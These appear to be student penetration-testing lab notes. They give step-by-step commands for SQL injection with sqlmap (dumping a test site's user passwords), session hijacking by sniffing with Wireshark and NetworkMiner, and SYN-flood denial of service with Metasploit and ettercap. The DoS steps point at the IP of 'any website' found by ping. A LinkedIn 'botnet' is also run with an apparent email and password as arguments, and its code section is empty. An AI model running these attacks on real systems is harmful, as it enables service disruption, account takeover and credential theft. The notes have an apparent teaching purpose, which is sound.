NTAL:EVALUATION OF SECURITY THREATS USING PENETRATION TESTING

A) PENETRATION TESTING:

1)HACKING WEBSITE WITH SQLMAP IN KALI LINUX

http://www.kalitutorials.net/2014/03/hacking-website-with-sqlmap-in-kali.html

2)SESSION HIJACKING WITH WIRESHARK AND NETWORK MINER

https://www.youtube.com/watch?v=\_5-RWC1l1Gs&feature=youtu.be

3)DDOS ATTACK USING METASPLOIT AND ETTERCAP IN KALI LINUX

https://www.youtube.com/watch?v=Lvx0Zk4KufY

https://www.youtube.com/watch?v=3sjaQvddh-s

4)LINKEDIN VEW BOTNET ATTACK IN PYTHON

<https://youtu.be/IOvvjNi8OdU>

CODES//STEPS

1. **BOTNET ATTACK WITH PYTHON**
2. Go to terminal in kali linux.
3. Sudo\_easy install selenium //install libraries
4. Sudo \_easy install Beautifulsoup
5. vim LinkedInBot.py //open editor to write code
6. code:
7. python LinkedInBot.py [erplghk@gmail.com](mailto:erplghk@gmail.com) erplghk //run bot

**2. SESSION HIJACKING WITH WIRESHARK AND NETWORK MINER**

1. Connect to the website hosted at: www.lakshmiforgowri21.site90.com/btslab/login.php
2. using Wireshark as the sniffer of the network between the server and client sniff the connection.
3. Login into the account on the website by registering.
4. After browsing the website,log the captured data in .pcap files in wireshark.
5. Using Network miner ,mine the data to analyze the captured files to get all the extracted information like credentials, sessions, hosts, data,urls etc.
6. From this the session ID and credentials can be stolen and used by the hacker to login into the account of the website.

**3. SQL INJECTION WITH SQLMAP:**

1. sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1> //URL TO ATTACK
2. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15 //speeding up the process
3. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs //get names of available databases
4. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables//get list of tables in acuart db
5. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns//get coloumns list
6. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump //get password

**4 DDOS ATTACK WITH METASPLOIT AND ETTERCAP:**

**METASPLOIT:**

1. Open Terminal and msfconsole
2. Use auxiliary/dos/tcp/synflood
3. Type show options
4. To get the server address to do Dos attack using another terminal window ping to any website and take the address from there.
5. set RHOST as the ip address of the server
6. Type exploit for SYN FLOODING.

**ETTERCAP:**

1. Open Terminal in kali linux
2. Type sudo ettercap -G //open ettercap in graphical mode
3. Click on Sniff->Unified Sniffing
4. Set the network interface eth0
5. Go To Plugins->Manage Plugins
6. Select the dos\_attack plugin which attacks the victim by mentioning the IP address
7. Use ping in another terminal to get the ip address of the victim
8. Enter the ip address in ettercap and make the attack.